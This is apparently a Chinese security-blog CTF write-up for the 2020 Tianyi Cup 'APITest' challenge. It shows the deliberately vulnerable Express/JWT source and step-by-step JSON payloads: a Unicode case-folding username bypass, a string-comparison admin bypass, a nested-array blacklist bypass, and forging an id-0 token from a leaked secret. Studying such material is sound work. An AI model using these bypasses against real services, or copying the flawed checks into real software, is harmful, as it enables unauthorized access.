文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-07-31   1.1k

2020电信天翼杯CTF APITest

先吐槽一下,赛后竟然没有WP?????

完全不会nodejs,做了一下午居然做出来了。。。题目打开,访问sourceAPI接口,显示源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
const express = require("express");
const cors = require("cors");
const app = express();
const uuidv4 = require("uuid/v4");
const md5 = require("md5");
const jwt = require("express-jwt");
const jsonwebtoken = require("jsonwebtoken");
const server = require("http").createServer(app);

const { flag, secret, jwtSecret } = require("./flag");

const config = {
port: process.env.PORT || 8081,
adminValue: 1000,
message: "Can you get flag?",
secret: secret,
adminUsername: "kirakira_dokidoki",
whitelist: ["/", "/login", "/init", "/source"],
};

let users = {
0: {
username: config.adminUsername,
isAdmin: true,
rights: Object.keys(config)
}
};

app.use(express.json());

app.use(cors());

app.use(
jwt({ secret: jwtSecret }).unless({
path: config.whitelist
})
);

app.use(function(error, req, res, next) {
if (error.name === "UnauthorizedError") {
res.json(err("Invalid token or not logged in."));
}
});

function sign(o) {
return jsonwebtoken.sign(o, jwtSecret);
}

function ok(data = {}) {
return { status: "ok", data: data };
}

function err(msg = "Something went wrong.") {
return { status: "error", message: msg };
}

function isValidUser(u) {
return (
u.username.length >= 6 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase() && u.username.toUpperCase() !== config.adminUsername.toLowerCase()
);
}

function isAdmin(u) {
return (u.username.toUpperCase() === config.adminUsername.toUpperCase() && u.username.toUpperCase() === config.adminUsername.toLowerCase()) || u.isAdmin;
}

function checkRights(arr) {
let blacklist = ["secret", "port"];

if(blacklist.includes(arr)) {
return false;
}

for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}

app.get("/", (req, res) => {
res.json(ok({ hint: "You can get source code from /source"}));
});

app.get("/source", (req, res) => {
res.sendFile( __dirname + "/" + "app.js");
});

app.post("/login", (req, res) => {
let u = {
username: req.body.username,
id: uuidv4(),
value: Math.random() < 0.0000001 ? 100000000 : 100,
isAdmin: false,
rights: [
"message",
"adminUsername"
]
};
if (isValidUser(u)) {
users[u.id] = u;
res.send(ok({ token: sign({ id: u.id }) }));
} else {
res.json(err("Invalid creds"));
}
});

app.post("/init", (req, res) => {
let { secret } = req.body;
let target = md5(config.secret.toString());

let adminId = md5(secret)
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);

res.json(ok({ token: sign({ id: adminId }) }));
});


// Get server info
app.get("/serverInfo", (req, res) => {
let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});

app.post("/becomeAdmin", (req, res) => {
let {value} = req.body;
let uid = req.user.id;
let user = users[uid];

let maxValue = [value, config.adminValue].sort()[1];
if(value >= maxValue && user.value >= value) {
user.isAdmin = true;
res.send(ok({ isAdmin: true }));
}else{
res.json(err("You need pay more!"));
}
});

// only admin can update user
app.post("/updateUser", (req, res) => {
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter((value, index, self)=>{
return self.indexOf(value) === index;
});
}
res.json(ok({ user: users[uid] }));
});

// only uid===0 can get the flag
app.get("/flag", (req, res) => {
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}
});

server.listen(config.port, () =>
console.log(`Server listening on port ${config.port}!`)
);

基本思路

  • 利用javascript大小写特性使用管理员的用户名登录
  • 使用弱类型比较绕过isAdmin判断
  • 给用户添加查看secret的权限并查看secret的值
  • 通过赋值secret将adminId设置为0
  • 获取Flag

第一步

loginAPI用javascript大小写特性绕过,payload

1
{"username":"Kırakira_dokidoki"}

回显token的值

1
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVkMWNlYmU1LTFiZWItNDA4Yi05YzE2LTViOGQ0NmM4ODIzMCIsImlhdCI6MTU5NjE4MTUyOH0.uyZInKJWeJ7mr290HKV5Z41Pf6_aCjPvvDEKkvanbtk"}}

第二步

becomeAdminAPI使用字符串绕过

1
{"value": "11"}

回显:

1
{"status":"ok","data":{"isAdmin":true}}

第三步

使用数组绕过updateUserAPI

1
{"rights":[["secret"]]}

回显

1
{"status":"ok","data":{"user":{"username":"Kırakira_dokidoki","id":"ed1cebe5-1beb-408b-9c16-5b8d46c88230","value":100,"isAdmin":true,"rights":["message","adminUsername",["secret"]]}}}

第四步

直接访问serverInfo获取secret的值,回显

1
{"status":"ok","data":{"info":[{"name":"message","value":"Can you get flag?"},{"name":"adminUsername","value":"kirakira_dokidoki"},{"name":["secret"],"value":"1145141919810"}]}}

第五步

访问initAPI,payload

1
{"secret":"1145141919810"}

回显

1
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTk2MTg3MDk4fQ.Fdfrcfvnxjdh54WcTbu79nqKFv1dcucBCAoTJenw52I"}}

第六步

把刚刚获得到的id=0的token替换之前的token得到flag。

参考:https://xz.aliyun.com/t/7177

Copyright © ca01h 2019-2020 | 本站总访问量